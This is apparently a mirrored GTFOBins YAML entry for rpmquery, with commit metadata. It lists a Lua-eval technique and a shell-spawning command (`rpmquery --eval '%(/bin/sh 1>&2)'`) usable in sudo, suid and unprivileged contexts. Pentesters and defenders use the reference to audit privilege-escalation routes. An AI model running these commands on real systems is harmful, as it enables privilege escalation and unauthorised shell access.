1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/rpmquery
Andrea Cardaci 450efe76d4 Make the contexts field mandatory
Rationale being that:

- it's easy to just forget it;

- entries that only have the unprivileged context are quite rare.
2026-01-13 19:53:07 +01:00

24 lines
403 B
Plaintext

---
functions:
inherit:
- code: |-
rpmquery --eval '%{lua:...}'
comment: |-
This allows to run Lua code (`...`).
contexts:
sudo:
suid:
unprivileged:
from: lua
version: |-
Some older version is required.
shell:
- code: |-
rpmquery --eval '%(/bin/sh 1>&2)'
contexts:
sudo:
suid:
shell: true
unprivileged:
...